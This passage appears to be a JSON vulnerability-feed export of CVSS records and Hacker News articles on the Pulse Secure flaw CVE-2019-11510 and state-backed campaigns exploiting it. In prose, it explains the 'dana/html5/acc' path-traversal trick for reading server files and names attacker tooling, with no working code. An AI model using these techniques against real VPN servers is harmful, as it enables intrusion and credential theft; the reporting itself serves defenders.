"privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Pulse Connect Secure VPN Arbitrary File Reading Vulnerability (COVID-19-CTI List)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2019-11510", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:38:30", "description": "[](<https://thehackernews.com/images/-_SvUUuvh0ss/XpmKGXtsseI/AAAAAAAAAPI/SuMNxubahJUd3z_eE6vcjjgsuPoYjkdawCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability-2.jpg>)\n\nThe United States Cybersecurity and Infrastructure Security Agency (CISA) yesterday issued a [fresh advisory](<https://www.us-cert.gov/ncas/alerts/aa20-107a>) alerting organizations to change all their Active Directory credentials as a defense against cyberattacks trying to leverage a known remote code execution (RCE) vulnerability in Pulse Secure VPN servers\u2014even if they have already patched it. \n \nThe warning comes three months after another [CISA alert](<https://www.us-cert.gov/ncas/alerts/aa20-010a>) urging users and administrators to [patch Pulse Secure VPN](<https://www.us-cert.gov/ncas/current-activity/2019/10/16/multiple-vulnerabilities-pulse-secure-vpn>) environments to thwart attacks exploiting the vulnerability. \n \n\"Threat actors who successfully exploited CVE-2019-11510 and stole a victim organization's credentials will still be able to access \u2014 and move laterally through \u2014 that organization's network after the organization has patched this vulnerability if the organization did not change those stolen credentials,\" CISA said. \n \nCISA has also [released a tool to help](<https://github.com/cisagov/check-your-pulse>) network administrators look for any indicators of compromise associated with the flaw. \n \n\n\n## A Remote Code Execution Flaw\n\n \nTracked as [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), the pre-authentication arbitrary file read vulnerability could allow remote unauthenticated attackers to compromise vulnerable VPN servers and gain access to all active users and their plain-text credentials, and execute arbitrary commands. \n \n\n\n[](<https://thehackernews.com/images/-9lA8I2RLHGU/XpmBkUgmolI/AAAAAAAA2qg/xhY8D8d5TDs7mVoKQo3kFZmB8fmEu1yvwCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability.jpg>)\n\n \nThe flaw stems from the fact that [directory traversal](<https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/>) is hard-coded to be allowed if a path contains \"dana/html5/acc,\" thus allowing an attacker to send specially crafted URLs to read sensitive files, such as \"/etc/passwd\" that contains information about each user on the system. \n \nTo address this issue, Pulse Secure released an [out-of-band patch](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>) on April 24, 2019. \n \n[](<https://thehackernews.com/images/-JoiStCZj61c/XpmChlfPXpI/AAAAAAAAAO8/x_r1K3sIkukYxwR0UcxXPcNLaxvuDvrmQCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability-1.jpg>) \n \nWhile on August 24, 2019, security intelligence firm Bad Packets was able to discover [14,528 unpatched](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) Pulse Secure servers, a subsequent scan as of last month yielded [2,099 vulnerable endpoints](<https://twitter.com/bad_packets/status/1242289478334427139>), indicating that a vast majority of organizations have patched their VPN gateways. \n \n\n\n## Unpatched VPN Servers Become Lucrative Target\n\n \nThe fact that there are still over thousands of unpatched Pulse Secure VPN servers has made them a lucrative target for bad actors to distribute malware. \n \nA report from ClearSky found Iranian state-sponsored [hackers using CVE-2019-11510](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>), among others, to penetrate and steal information from target IT and telecommunication companies across the world. \n \nAccording to an [NSA advisory](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>) from October 2019, the \"exploit code is freely available online via the Metasploit framework, as well as GitHub. Malicious cyber actors are actively using this exploit code.\" \n \nIn a similar alert issued last year, the UK's National Cyber Security Centre ([NCSC](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)) warned that advanced threat groups are exploiting the vulnerability to target government, military, academic, business, and healthcare organizations. \n \nMore recently, [Travelex](<https://www.bbc.com/news/business-51017852>), the foreign currency exchange and travel insurance firm, became a victim after cybercriminals planted Sodinokibi (REvil) [ransomware](<https://doublepulsar.com/big-game-ransomware-being-delivered-to-organisations-via-pulse-secure-vpn-bd01b791aad9>) on the company's networks via the Pulse Secure vulnerability. Although the ransomware operators demanded a ransom of $6 million (\u00a34.6 million), a [Wall Street Journal](<https://www.wsj.com/articles/travelex-paid-hackers-multimillion-dollar-ransom-before-hitting-new-obstacles-11586440800>) report last week said it paid $2.3 million in the form of 285 Bitcoin to resolve its problem. \n \nIn the face of ongoing attacks, it's recommended that organizations upgrade their Pulse Secure VPN, reset their credentials, and scan for unauthenticated log requests and exploit attempts. \n \nCISA has also suggested removing any unapproved remote access programs and inspecting scheduled tasks for scripts or executables that may allow an attacker to connect to an environment. \n \nFor more steps to mitigate the flaw, head to [NSA's advisory here](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-17T11:20:00", "type": "thn", "title": "CISA Warns Patched Pulse Secure VPNs Could Still Expose Organizations to Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-04-17T11:20:03", "id": "THN:46994B7A671ED65AD9975F25F514C6E3", "href": "https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T03:29:54", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjhNJNYKsz0zRz-CzaUqAm2MRgt6hyl7sq05Q-XnbDm2VwMedx339MqSyZOAKaZNIywGOU7b4usV_c7PkobISvqG4n1OWRAK6MowARD4h2L_HH0soDHDxo-HLg5bT1n0PRyLyda5DamIal3W2BOTcPpLYlDUc8cUHZ5tqR_YBCcyTEpn2SBhSPC2m-r/s728-e100/flaws.gif>)\n\n[Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>), [ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>), [ProxyLogon](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>), [ZeroLogon](<https://thehackernews.com/2020/09/detecting-and-preventing-critical.html>), and flaws in [Zoho ManageEngine AD SelfService Plus](<https://thehackernews.com/2021/09/cisa-warns-of-actively-exploited-zoho.html>), [Atlassian Confluence](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>), and [VMware vSphere Client](<https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html>) emerged as some of the top exploited security vulnerabilities in 2021.\n\nThat's according to a \"[Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>)\" report released by cybersecurity authorities from the Five Eyes nations Australia, Canada, New Zealand, the U.K., and the U.S.\n\nOther frequently weaponized flaws included a remote code execution bug in Microsoft Exchange Server ([CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>)), an arbitrary file read vulnerability in Pulse Secure Pulse Connect Secure ([CVE-2019-11510](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>)), and a path traversal defect in Fortinet FortiOS and FortiProxy ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)).\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjV_5FJTAhnIsR8JgqL9uQg0ZFxcNG_CjB_UQkbmLMHp3ywOvVYK21BPlGIrlFOkrpjXKZTudyfgIFVbvdoCqezanw_M902zAF_j0D0iiMlBFYA9xgTU3PqsuazBsluMEFz04W5fr6wR3IcoNmrMSzQaRgR5ai54nGTQjKTBNImgKDAlUP3blp4-t8a/s728-e100/cisa.jpg>)\n\nNine of the top 15 routinely exploited flaws were remote code execution vulnerabilities, followed by two privilege escalation weaknesses, and one each of security feature bypass, arbitrary code execution, arbitrary file read, and path traversal flaws.\n\n\"Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities,\" the agencies said in a joint advisory.\n\n\"For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (PoC) code within two weeks of the vulnerability's disclosure, likely facilitating exploitation by a broader range of malicious actors.\"\n\nTo mitigate the risk of exploitation of publicly known software vulnerabilities, the agencies are recommending organizations to apply patches in a timely fashion and implement a centralized patch management system.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-28T05:41:00", "type": "thn", "title": "U.S. Cybersecurity Agency Lists 2021's Top 15 Most Exploited Software Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2020-0688"], "modified": "2022-05-09T02:55:12", "id": "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "href": "https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:41", "description": "[](<https://thehackernews.com/images/-Cpd5jYOBXGk/X9b7WId_6xI/AAAAAAAABPY/RSyw2zajv6MRRJNaCspQPEerTW8vEpNpACLcBGAsYHQ/s0/solarwinds.jpg>)\n\nState-sponsored actors allegedly working for Russia have [targeted](<https://www.washingtonpost.com/national-security/russian-government-spies-are-behind-a-broad-hacking-campaign-that-has-breached-us-agencies-and-a-top-cyber-firm/2020/12/13/d5a53b88-3d7d-11eb-9453-fc36ba051781_story.html>) the US Treasury, the Commerce Department's National Telecommunications and Information Administration (NTIA), and other government agencies to [monitor internal email traffic](<https://www.reuters.com/article/us-usa-cyber-amazon-com-exclsuive/exclusive-u-s-treasury-breached-by-hackers-backed-by-foreign-government-sources-idUSKBN28N0PG>) as part of a widespread cyberespionage campaign.\n\nThe Washington Post, citing unnamed sources, said the latest attacks were the work of APT29 or Cozy Bear, the same hacking group that's believed to have orchestrated a breach of US-based cybersecurity firm [FireEye](<https://thehackernews.com/2020/12/cybersecurity-firm-fireeye-got-hacked.html>) a few days ago leading to the theft of its Red Team penetration testing tools.\n\nThe motive and the full scope of what intelligence was compromised remains unclear, but signs are that adversaries tampered with a software update released by Texas-based IT infrastructure provider SolarWinds earlier this year to infiltrate the systems of government agencies as well as FireEye and mount a highly-sophisticated [supply chain attack](<https://en.wikipedia.org/wiki/Supply_chain_attack>).\n\n\"The compromise of SolarWinds' Orion Network Management Products poses unacceptable risks to the security of federal networks,\" said Brandon Wales, acting director of the US Cybersecurity and Infrastructure Security Agency (CISA), which has [released](<https://www.cisa.gov/news/2020/12/13/cisa-issues-emergency-directive-mitigate-compromise-solarwinds-orion-network>) an emergency directive, urging federal civilian agencies to review their networks for suspicious activity and disconnect or power down SolarWinds Orion products immediately.\n\nSolarWinds' networking and security products are used by more than [300,000 customers worldwide](<https://www.solarwinds.com/company/customers>), including Fortune 500 companies, government agencies, and education institutions.\n\nIt also serves several major US telecommunications companies, all five branches of the US Military, and other prominent government organizations such as the Pentagon, State Department, NASA, National Security Agency (NSA), Postal Service, NOAA, Department of Justice, and the Office of the President of the United States.\n\n### An Evasive Campaign to Distribute SUNBURST Backdoor\n\nFireEye, which is tracking the ongoing intrusion campaign under the moniker \"[UNC2452](<https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html>),\" said the supply chain attack takes advantage of trojanized SolarWinds Orion business software updates in order to distribute a backdoor called SUNBURST.\n\n\"This campaign may have begun as early as Spring 2020 and is currently ongoing,\" FireEye said in a Sunday analysis. \"Post compromise activity following this supply chain compromise has included lateral movement and data theft. The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security.\"\n\n[](<https://thehackernews.com/images/-PbITJeTtDpo/X9b7oJ1VO6I/AAAAAAAABPg/V3gShVN1NtYYFwAKCmwfQuhQjkNYMDgQgCLcBGAsYHQ/s0/solarwinds-backdoor.jpg>)\n\nThis rogue version of SolarWinds Orion plug-in, besides masquerading its network traffic as the Orion Improvement Program ([OIP](<https://support.solarwinds.com/SuccessCenter/s/article/Orion-Improvement-Program?language=en_US>)) protocol, is said to communicate via HTTP to remote servers so as to retrieve and execute malicious commands (\"Jobs\") that cover the spyware gamut, including those for transferring files, executing files, profiling and rebooting the target system, and disabling system services.\n\nOrion Improvement Program or OIP is chiefly used to collect performance and usage statistics data from SolarWinds users for product improvement purposes.\n\nWhat's more, the IP addresses used for the campaign were obfuscated by VPN servers located in the same country as the victim to evade detection.\n\nMicrosoft also corroborated the findings in a separate analysis, stating the attack (which it calls \"[Solorigate](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/Solorigate.C!dha&ThreatID=2147771132>)\") leveraged the trust associated with SolarWinds software to insert malicious code as part of a larger campaign.\n\n\"A malicious software class was included among many other legitimate classes and then signed with a legitimate certificate,\" the Windows maker said. The resulting binary included a backdoor and was then discreetly distributed into targeted organizations.\"\n\n### SolarWinds Releases Security Advisory\n\nIn a [security advisory](<https://www.solarwinds.com/securityadvisory>) published by SolarWinds, the company said the attack targets versions 2019.4 through 2020.2.1 of the SolarWinds Orion Platform software that was released between March and June 2020, while recommending users to upgrade to Orion Platform release 2020.2.1 HF 1 immediately.\n\nThe firm, which is currently investigating the attack in coordination with FireEye and the US Federal Bureau of Investigation, is also expected to release an additional hotfix, 2020.2.1 HF 2, on December 15, which replaces the compromised component and provides several extra security enhancements.\n\nFireEye last week disclosed that it fell victim to a highly sophisticated foreign-government attack that compromised its software tools used to test the defenses of its customers.\n\nTotaling as many as [60 in number](<https://www.picussecurity.com/resource/blog/techniques-tactics-procedures-utilized-by-fireeye-red-team-tools>), the stolen Red Team tools are a mix of publicly available tools (43%), modified versions of publicly available tools (17%), and those that were developed in-house (40%).\n\nFurthermore, the theft also includes exploit payloads that leverage critical vulnerabilities in Pulse Secure SSL VPN (CVE-2019-11510), Microsoft Active Directory (CVE-2020-1472), Zoho ManageEngine Desktop Central (CVE-2020-10189), and Windows Remote Desktop Services (CVE-2019-0708).\n\nThe campaign, ultimately, appears to be a supply chain attack on a global scale, for FireEye said it detected this activity across several entities worldwide, spanning government, consulting, technology, telecom, and extractive firms in North America, Europe, Asia, and the Middle East.\n\nThe indicators of compromise (IoCs) and other relevant attack signatures designed to counter SUNBURST can be accessed [here](<https://github.com/fireeye/sunburst_countermeasures>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-14T05:44:00", "type": "thn", "title": "US Agencies and FireEye Were Hacked Using SolarWinds Software Backdoor", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0708", "CVE-2019-11510", "CVE-2020-10189", "CVE-2020-1472"], "modified": "2020-12-14T12:54:22", "id": "THN:E9454DED855ABE5718E4612A2A750A98", "href": "https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:40:09", "description": "[](<https://thehackernews.com/images/-S81ZTpL3VW0/X2CFi_g7l0I/AAAAAAAAAww/bXeyXz56F-0V-P2VhHdoO5qJllbhNqfswCLcBGAsYHQ/s728-e100/hacking.jpg>)\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) issued a [new advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-258a>) on Monday about a wave of cyberattacks carried by Chinese nation-state actors targeting US government agencies and private entities. \n \n\"CISA has observed Chinese [Ministry of State Security]-affiliated cyber threat actors operating from the People's Republic of China using commercially available information sources and open-source exploitation tools to target US Government agency networks,\" the cybersecurity agency said. \n \nOver the past 12 months, the victims were identified through sources such as [Shodan](<https://www.shodan.io/>), the Common Vulnerabilities and Exposure ([CVE](<https://cve.mitre.org/>)) database, and the National Vulnerabilities Database (NVD), exploiting the public release of a vulnerability to pick vulnerable targets and further their motives. \n \nBy compromising legitimate websites and leveraging spear-phishing emails with malicious links pointing to attacker-owned sites in order to gain initial access, the Chinese threat actors have deployed open-source tools such as [Cobalt Strike](<https://www.cobaltstrike.com/>), [China Chopper Web Shell](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>), and [Mimikatz](<https://github.com/gentilkiwi/mimikatz>) credential stealer to extract sensitive information from infected systems. \n \nThat's not all. Taking advantage of the fact that organizations aren't quickly mitigating known software vulnerabilities, the state-sponsored attackers are \"targeting, scanning, and probing\" US government networks for unpatched flaws in F5 Networks Big-IP Traffic Management User Interface ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), Citrix VPN ([CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)), Pulse Secure VPN ([CVE-2019-11510](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)), and Microsoft Exchange Servers ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) to compromise targets. \n \n\"Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks,\" the agency said. \"While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.\" \n \nThis is not the first time Chinese actors have worked on behalf of China's MSS to infiltrate various industries across the US and other countries. \n \nIn July, the US Department of Justice (DoJ) [charged two Chinese nationals](<https://thehackernews.com/2020/07/chinese-hackers-covid19.html>) for their alleged involvement in a decade-long hacking spree spanning high tech manufacturing, industrial engineering, defense, educational, gaming software, and pharmaceutical sectors with an aim to steal trade secrets and confidential business information. \n \nBut it's not just China. Earlier this year, Israeli security firm ClearSky uncovered a cyberespionage campaign dubbed \"[Fox Kitten](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>)\" that targeted government, aviation, oil and gas, and security companies by exploiting unpatched VPN vulnerabilities to penetrate and steal information from target companies, prompting CISA to issue [multiple security alerts](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>) urging businesses to secure their VPN environments. \n \nStating that sophisticated cyber threat actors will continue to use open-source resources and tools to single out networks with low-security posture, CISA has recommended organizations to patch [routinely exploited vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>), and \"audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-15T09:14:00", "type": "thn", "title": "CISA: Chinese Hackers Exploiting Unpatched Devices to Target U.S. Agencies", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-09-15T09:14:30", "id": "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "href": "https://thehackernews.com/2020/09/chinese-hackers-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:37", "description": "[](<https://thehackernews.com/images/-ZHqaACEm1IE/Xkv7mFYNdVI/AAAAAAAAABQ/u9DIxl0wBik0Tdeo0zYMA5h4Eycz0ntogCLcBGAsYHQ/s728-e100/iranian-apt-hacking-group.jpg>)\n\nA new report published by cybersecurity researchers has unveiled evidence of Iranian state-sponsored hackers targeting dozens of companies and organizations in Israel and around the world over the past three years. \n \nDubbed \"**Fox Kitten**,\" the cyber-espionage campaign is said to have been directed at companies from the IT, telecommunication, oil and gas, aviation, government, and security sectors. \n \n\"We estimate the campaign revealed in this report to be among Iran's most continuous and comprehensive campaigns revealed until now,\" ClearSky [researchers said](<https://www.clearskysec.com/fox-kitten/>). \n \n\"The revealed campaign was used as a reconnaissance infrastructure; however, it can also be used as a platform for spreading and activating destructive malware such as ZeroCleare and Dustman.\" \n \nTying the activities to threat groups APT33, APT34, and APT39, the offensive \u2014 conducted using a mix of open source and self-developed tools \u2014 also facilitated the groups to steal sensitive information and employ supply-chain attacks to target additional organizations, the researchers said. \n \n\n\n## Exploiting VPN Flaws to Compromise Enterprise Networks\n\n \nThe primary attack vector employed by the Iranian groups has been the exploitation of unpatched VPN vulnerabilities to penetrate and steal information from target companies. The prominent VPN systems exploited this way included Pulse Secure Connect ([CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>)), Palo Alto Networks' Global Protect ([CVE-2019-1579](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1579>)), Fortinet FortiOS ([CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>)), and Citrix ([CVE-2019-19781](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>)). \n \nClearSky noted that the hacking groups were able to successfully acquire access to the targets' core systems, drop additional malware, and laterally spread across the network by exploiting \"1-day vulnerabilities in relatively short periods of time.\" \n \n\n\n[](<https://thehackernews.com/images/-HB88FpLNx7E/Xkv6_Gs13XI/AAAAAAAAABE/sTXpiQuKh4w_qMLsMyuIs2xY7eNJONDHQCLcBGAsYHQ/s728-e100/Iranian-hackers-1.jpg>)\n\n \nUpon successfully gaining an initial foothold, the compromised systems were found to communicate with attacker-control command-and-control (C2) servers to download a series of custom VBScript files that can, in turn, be used to plant backdoors. \n \nFurthermore, the backdoor code in itself is downloaded in chunks so as to avoid detection by antivirus software installed on the infected computers. It's the job of a separate downloaded file \u2014 named \"combine.bat\" \u2014 to stitch together these individual files and create an executable. \n \nTo perform these tasks and achieve persistence, the threat actors exploited tools such as [Juicy Potato](<https://github.com/ohpe/juicy-potato>) and [Invoke the Hash](<https://github.com/Kevin-Robertson/Invoke-TheHash>) to gain high-level privileges and laterally move across the network. Some of the other tools developed by the attackers include: \n \n\n\n * STSRCheck - A tool for mapping databases, servers, and open ports in the targeted network and brute-force them by logging with default credentials.\n * Port.exe - A tool to scan predefined ports and servers.\n \nOnce the attackers gained lateral movement capabilities, the attackers move to the final stage: execute the backdoor to scan the compromised system for relevant information and exfiltrate the files back to the attacker by establishing a remote desktop connection (using a self-developed tool called POWSSHNET) or opening a socket-based connection to a hardcoded IP address. \n \n\n\n[](<https://thehackernews.com/images/-I5Tu4KNsPis/Xkv6nXcj6DI/AAAAAAAAAA8/E1cMYGuEIdsjFmfX7dXhnzRwfrgC0_dRACLcBGAsYHQ/s728-e100/Iranian-hackers.jpg>)\n\n \nIn addition, the attackers used [web shells](<https://www.us-cert.gov/ncas/alerts/TA15-314A>) in order to communicate with the servers located inside the target and upload files directly to a C2 server. \n \n\n\n## The Work of Multiple Iranian Hacking Groups\n\n \nBased on the campaign's use of web shells and overlaps with the attack infrastructure, the ClearSky report highlighted that the attacks against VPN servers are possibly linked to three Iranian groups \u2014 APT33 (\"Elfin\"), APT34 (\"OilRig\") and APT39 (Chafer). \n \nWhat's more, the researchers assessed that the campaign is a result of a \"cooperation between the groups in infrastructure,\" citing similarities in the tools and work methods across the three groups. \n \nJust last month, Iranian state-backed hackers \u2014 dubbed \"[Magnallium](<https://www.wired.com/story/iran-apt33-us-electric-grid>)\" \u2014 were discovered carrying out password-spraying attacks targeting US electric utilities as well as oil and gas firms. \n \nGiven that the attackers are weaponizing VPN flaws within 24 hours, it's imperative that organizations install security patches as and when they are available. \n \nAside from following the principle of least privilege, it also goes without saying that critical systems are monitored continuously and kept up to date. Implementing two-step authentication can go a long way towards minimizing unauthorized logins.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-02-18T15:06:00", "type": "thn", "title": "Iranian Hackers Exploiting VPN Flaws to Backdoor Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 